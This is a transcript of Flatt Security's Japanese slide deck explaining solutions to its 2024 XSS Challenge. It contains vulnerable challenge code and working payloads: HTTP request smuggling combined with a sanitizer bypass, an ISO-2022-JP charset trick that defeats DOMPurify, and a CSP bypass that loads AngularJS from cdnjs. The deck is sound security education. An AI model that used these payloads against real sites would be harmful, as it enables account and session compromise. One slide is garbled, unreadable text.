Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Flatt Security XSS Challenge 解答・解説

Flatt Security XSS Challenge 解答・解説

Flatt Security

January 07, 2025
Tweet

More Decks by Flatt Security

Other Decks in Programming

Transcript

  1. 本資料について t 2024年11月に公開したFlatt Security XSS Challenge(https:// challenge-xss.quiz.flatt.training/)の各作問者による解答・解説資料で すQ t ※出題ページは予告なく非公開になる可能性がありま9

    t XSS Challenge解説も含むイベントとして2024年12月5日に開催 された「Flatt Security Beer Bash #1」で使用されたスライド をまとめたものです。
  2. ◦ ಉ༷ͷςΫχοΫ͕UJUMFλάͰ࢖͑ͨ͜ͱ͸*OUJHSJUJ0DUPCFS944 $IBMMFOHFͰग़୊͞Ε͍ͯͯ஌͍ͬͯͨIUUQTNJ[VSFQPTUJOUJHSJUJPDUPCFS YTTDIBMMFOHF ◦ ݪཧΛΑ͘ཧղ͠ͳ͍··਺ϲ݄์ஔʜ ◦ 'MBUU4FDVSJUZͰϒϩάΛࣥචͨ͠ͱ͖ʹ 
 +BWB4DSJQUͰͷTDSJQUจࣈྻʹؔ͢Δ

    
 ஫ҙ఺Λॻͨ͘Ίɺ)5.-ͷ࢓༷Λݟ͍ͯΔͱ 
 ۮવʮ&TDBQBCMFSBXUFYUFMFNFOUTʯΛൃݟ ◦ UJUMFλάͰUJUMF͕ग़Δ·Ͱதͷλά͕ೝࣝ͞Εͳ͍ͷ͸͜ͷछผͷ࢓༷ͩͬͨ ◦ ࢓༷ΛಡΉͱɺଞʹ΋UFYUBSFBλά͕&TDBQBCMFSBXUFYUFMFNFOUTʹଐ͍ͯ͠Δʂ ◦ ࠓճͷ໰୊ ͕࣌ؒ͋Ε͹ɿ࡞໰ܦҢ 
  3. 

  4. Flatt Security XSSチャレンジ #2 function previewContent() { const input =

    document.getElementById('input').value; document.getElementById('preview').innerHTML = sanitizeHtml(input); // just in case } window.onload = async function () { const params = new URLSearchParams(window.location.search); if (params.has('draft_id')) { const resp = await fetch(`/api/drafts?id=${encodeURIComponent(params.get('draft_id'))}`); const content = await resp.text(); document.getElementById('input').value = content.slice(0, 100); previewContent(); } }
  5. Flatt Security XSSチャレンジ #2 draft_id = query.get('id', [''])[0] if draft_id

    in drafts: escaped = html.escape(drafts[draft_id]) self .send_response(200) self .send_data(self.content_type_text, bytes(escaped, 'utf-8'))
  6. def do_POST(self): content_length = int(self.headers.get('Content-Length' )) if content_length > 100:

    self.send_response(413) self.send_data(self.content_type_text, b'Post is too large') return body = self.rfile.read(content_length) draft_id = str(uuid4()) drafts[draft_id] = body.decode( 'utf-8') self.send_response(200) self.send_data(self.content_type_text, bytes(draft_id, 'utf-8')) 問題点1
  7. def do_POST(self): content_length = int(self.headers.get('Content-Length' )) if content_length > 100:

    self.send_response(413) self.send_data(self.content_type_text, b'Post is too large') return body = self.rfile.read(content_length) draft_id = str(uuid4()) drafts[draft_id] = body.decode( 'utf-8') self.send_response(200) self.send_data(self.content_type_text, bytes(draft_id, 'utf-8')) 問題点1
  8. def do_POST(self): content_length = int(self.headers.get('Content-Length' )) if content_length > 100:

    self.send_response(413) self.send_data(self.content_type_text, b'Post is too large') return body = self.rfile.read(content_length) draft_id = str(uuid4()) drafts[draft_id] = body.decode( 'utf-8') self.send_response(200) self.send_data(self.content_type_text, bytes(draft_id, 'utf-8')) 問題点1
  9. 問題点1 function previewContent() { const input = document.getElementById('input').value; document.getElementById('preview').innerHTML =

    sanitizeHtml(input); // just in case } window.onload = async function () { const params = new URLSearchParams(window.location.search); if (params.has('draft_id')) { const resp = await fetch(`/api/drafts?id=${encodeURIComponent(params.get('draft_id'))}`); const content = await resp.text(); document.getElementById('input').value = content.slice(0, 100); previewContent(); } }
  10. POST / HTTP/1.1 Host: challenge.example Content-Length: 120 GET /=<s> HTTP/1.1

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAA 問題点1 リクエストボディ
  11. POST / HTTP/1.1 Host: challenge.example Content-Length: 120 GET /=<s> HTTP/1.1

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAGET /api/drafts?id=... HTTP/1.1 Host: challenge.example 問題点1
  12. 問題点2 const doc = new DOMParser().parseFromString(html, "text/html"); const nodeIterator =

    doc.createNodeIterator(doc, NodeFilter.SHOW_ELEMENT); while (nodeIterator.nextNode()) { const currentNode = nodeIterator.referenceNode; … if (SANITIZER_CONFIG.DANGEROUS_TAGS.includes(currentNode.nodeName.toLowerCase())) { currentNode. remove(); } else if (!SANITIZER_CONFIG.ALLOW_ATTRIBUTES && currentNode.attributes) { for (const attribute of currentNode.attributes) { currentNode.removeAttribute(attribute.name); } } }
  13. 問題点2 const doc = new DOMParser().parseFromString(html, "text/html"); const nodeIterator =

    doc.createNodeIterator(doc, NodeFilter.SHOW_ELEMENT); while (nodeIterator.nextNode()) { const currentNode = nodeIterator.referenceNode; … if (SANITIZER_CONFIG.DANGEROUS_TAGS.includes(currentNode.nodeName.toLowerCase())) { currentNode. remove(); } else if (!SANITIZER_CONFIG.ALLOW_ATTRIBUTES && currentNode.attributes) { for (const attribute of currentNode.attributes) { currentNode.removeAttribute(attribute.name); } } }
  14. POST / HTTP/1.1 Host: challenge.example Content-Length: 172 GET /=<noscript><!--</noscript><img/src/onerror=alet(origin)> HTTP/1.1

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAGET /api/drafts?id=... HTTP/1.1 Host: challenge.example 解法
  15. POST / HTTP/1.1 Host: challenge.example Content-Length: 172 GET /=<noscript><!--</noscript><img/src/onerror=alet(origin)> HTTP/1.1

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAGET /api/drafts?id=... HTTP/1.1 Host: challenge.example 解法 サーバーが1つ目のリクエストとして解釈するライン
  16. おまけ const doc = new DOMParser().parseFromString(html, "text/html"); const nodeIterator =

    doc.createNodeIterator(doc, NodeFilter.SHOW_ELEMENT); while (nodeIterator.nextNode()) { const currentNode = nodeIterator.referenceNode; … if (SANITIZER_CONFIG.DANGEROUS_TAGS.includes(currentNode.nodeName.toLowerCase())) { currentNode. remove(); } else if (!SANITIZER_CONFIG.ALLOW_ATTRIBUTES && currentNode.attributes) { for (const attribute of currentNode.attributes) { currentNode.removeAttribute(attribute.name); } } }
  17. 表示部分のJavaScript render関数がユーザー入力を受け取りプレビューを行う function render(html) { const sanitizedHtml = DOMPurify.sanitize(html, {

    ALLOWED_ATTR: [], ALLOW_ARIA_ATTR: false, ALLOW_DATA_ATTR: false }); const blob = new Blob([sanitizedHtml], { "type": "text/html" }); const blobURL = URL.createObjectURL(blob); input.value = sanitizedHtml; window.open(blobURL, "iframe"); createPermalink(sanitizedHtml); }
  18. renderの処理 1 まずDOMPurifyでサニタイズ function render(html) { const sanitizedHtml = DOMPurify.sanitize(html,

    { ALLOWED_ATTR: [], ALLOW_ARIA_ATTR: false, ALLOW_DATA_ATTR: false }); const blob = new Blob([sanitizedHtml], { "type": "text/html" }); const blobURL = URL.createObjectURL(blob); input.value = sanitizedHtml; window.open(blobURL, "iframe"); createPermalink(sanitizedHtml); }
  19. renderの処理 2 サニタイズされた文字列でHTML形式のBlobを作成 function render(html) { const sanitizedHtml = DOMPurify.sanitize(html,

    { ALLOWED_ATTR: [], ALLOW_ARIA_ATTR: false, ALLOW_DATA_ATTR: false }); const blob = new Blob([sanitizedHtml], { "type": "text/html" }); const blobURL = URL.createObjectURL(blob); input.value = sanitizedHtml; window.open(blobURL, "iframe"); createPermalink(sanitizedHtml); }
  20. renderの処理 3 作成されたBlob URLをiframeに表示 function render(html) { const sanitizedHtml =

    DOMPurify.sanitize(html, { ALLOWED_ATTR: [], ALLOW_ARIA_ATTR: false, ALLOW_DATA_ATTR: false }); const blob = new Blob([sanitizedHtml], { "type": "text/html" }); const blobURL = URL.createObjectURL(blob); input.value = sanitizedHtml; window.open(blobURL, "iframe"); createPermalink(sanitizedHtml); }
  21. DOMPurifyの構成 • 要素に関する指定は無し = デフォルト許可の要素が使用可能 • *_ATTR の設定で属性は全て不許可 const sanitizedHtml

    = DOMPurify.sanitize(html, { ALLOWED_ATTR: [], ALLOW_ARIA_ATTR: false, ALLOW_DATA_ATTR: false }); 構成は厳密でサニタイズそのものに問題はなさそう
  22. Blob作成部分 charset指定がない!! const blob = new Blob([sanitizedHtml], { "type": "text/html;charset=UTF-8"

    }); const blobURL = URL.createObjectURL(blob); charset指定がないとBlobのcharsetはどうなる?
  23. charsetの判断方法(ざっくり) 1. BOM(Byte Order Mark)を見る(response bodyの先頭のバイト) 2. Content-Typeヘッダーを見る (Blobではtype部分が相当) 3.

    charset指定の<meta>タグを探す 4. 自身がiframeにあり親がSame Originなら親のcharsetを継承 5. ここまで判断できなければページに含まれるバイト値から推測 (※Safariは5で推測を行わず、設定の"デフォルトのエンコーディング"で表示) 5で想定外の文字コードを適用させられれば何かできそう?
  24. チャレンジのBlobの場合 1. BOM(Byte Order Mark)を見る(response bodyの先頭のバイト) 2. Content-Typeヘッダーを見る (Blobではtype部分が相当) 3.

    charset指定の<meta>タグを探す 4. 自身がiframeにあり親がSame Originなら親のcharsetを継承 5. ここまで判断できなければページに含まれるバイト値から推測 ✘ ✘ ✘ ❶ Blob URLはiframeにある ❷ Blob URLは親から作成されたものでSame Originに相当 親は<meta>タグでUTF-8を指定してる。 よってUTF-8が継承される、うーん? ❶ ❷
  25. window.name • windowの名前はwindow.name プロパティからも設定可能 • この値はナビゲーション後も保持される <!–- https://site-A/ でホスト -->

    <script> window.name = "test";//windowの名前を設定 location = "https://site-B/";//site-Bに移動後window.nameにアクセスしてもまだ "test" </script> ※この方法は現在はChromeでのみ動作
  26. ここで生じる1つの疑問 じゃあ、"iframe" という名前をチャレンジの親windowにつけたら window.open(blobURL, "iframe") はどこをロード先にするの? <!–- https://site-A/ でホスト -->

    <script> window.name = "iframe"; location = "https://challenge-kinugawa.quiz.flatt.training/?html=AAA"; </script> もともとの<iframe>?それとも親?
  27. Blobがtopにある時:charsetの判断 1. BOM(Byte Order Mark)を見る(response bodyの先頭のバイト) 2. Content-Typeヘッダーを見る (Blobではtype部分が相当) 3.

    charset指定の<meta>タグを探す 4. 自身がiframeにあり親がSame Originなら親のcharsetを継承 5. ここまで判断できなければページに含まれるバイト値から推測 文字コードの自動選択発動!! ✘ ✘ ✘ ✘
  28. ISO-2022-JP • 古き良き日本の文字コード • 特定のバイト列が出現すると2バイトで1文字を構成するモードに • 例: [0x1B] $ B

    • [0x1B] ( B が出現すると通常モード(ASCII)に戻る A A A [0x1B] $ B % F % 9 % H ! z [0x1B] ( B B B B ※制御文字や空白は [0xXX]で表現 AAAテスト★BBB decode
  29. ISO-2022-JP • 他では出現しない特徴的なバイト列のため自動検出が容易 • 文字コードがないページに [0x1B] $ B を発見 ISO-2022-JPで表示

    • 誤認させるのも簡単 • 2バイトで1文字のモードに切り替わると、ASCIIモードに入るま でバイトが食いつぶされるためXSSの危険あり: [0x1B] $ B <p[0x20]id=" [0x1B] ( B <img[0x20]src=x[0x20]onerror=...>"> 腫�蜆就 <img[0x20]src=x[0x20]onerror=...>"> decode
  30. DOMPurifyバイパス再考 • 今回は属性が使えない • 食いつぶして属性の中身を露出させるシナリオは無理 [0x1B] $ B <p[0x20]id=" [0x1B]

    ( B <img[0x20]src=x[0x20]onerror=...>"> [0x1B] $ B <p></p> sanitize どこかに<>を置ける場所があれば…
  31. <style> • DOMPurifyはデフォルトで許可 • 内側にHTMLタグっぽい文字列があるとstyleごと消される • mXSS対策 • < の後にアルファベットなどが続くケースを拒否

    • ただしそれ以外のケースでは <> は残ったままになる a <style><a></style> <style><@></style> a <style><@></style> sanitize
  32. <style> + ISO-2022-JP • 無視されるバイト列を < の間に挟み… • <style>の開始タグを破壊すれば…? [0x1B]$B<style>[0x1B](B<[0x1B](Bscript>alert(1)<[0x1B](B/script></style>

    sanitize [0x1B]$B<style>[0x1B](B<[0x1B](Bscript>alert(1)<[0x1B](B/script></style> decode 首�跂 � <script>alert(1)</script></style> 任意のタグが書けた!!
  33. 最後の一歩:CSPバイパス • metaタグにCSPあり • cdnjs.cloudflare.comが許可 • 様々なJSライブラリがここに存在 • CSPバイパスに便利なAngularJSも存在 default-src

    'none'; script-src 'sha256-EojffqsgrDqc3mLbzy899xGTZN4StqzlstcSYu24doI=' cdnjs.cloudflare.com; style-src 'unsafe-inline'; frame-src blob:
  34. 最終的な解 <script> window.name="iframe"; eater = "\x1B$B"; ascii = "\x1B(B"; xss

    = ` ${eater}<style>${ascii} <${ascii}script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js> <${ascii}/script> <${ascii}img src=x ng-app ng-on-error=win=$event.target.ownerDocument.defaultView;win.alert(win.origin)>`; location = `https://challenge-kinugawa.quiz.flatt.training/?html=${encodeURIComponent(xss)}`; </script>
  35. おまけ1 • ChromeはかつてBlobのtypeでのcharset指定を無視していた • 中で<meta>タグ指定がなければ常に自動選択が起きる状態だった • CVE-2020-6562で修正、charset指定を尊重するように • https://issues.chromium.org/issues/40052417 •

    今回のチャレンジはこの時の発見に少し手を加えたもの const blob = new Blob([sanitizedHtml], { "type": "text/html;charset=UTF-8" // ignored }); const blobURL = URL.createObjectURL(blob);
  36. なぜ無効にされた? • ありえないバイト列で特殊文字が生成されていたから(だと思う) • 自動選択でXSSが刺さるリスクが高かった [0x1B] $ B [0x01] [0x03]

    [0x1B] ( B [0x1B] $ B [0x01] [0x07] [0x1B] ( B [0x1B] $ B [0x01] [0x08] [0x1B] ( B [0x1B] $ B [0x01] [0x1D] [0x1B] ( B [0x1B] $ B [0x01] [0x1F] [0x1B] ( B [0x1B] $ B [0x01] [0x3D] [0x1B] ( B q" q& q' q< q> q\ 結局、明示的にISO-2022-JPをcharsetに指定したときのデコードはこの動作のままでEOLを迎えた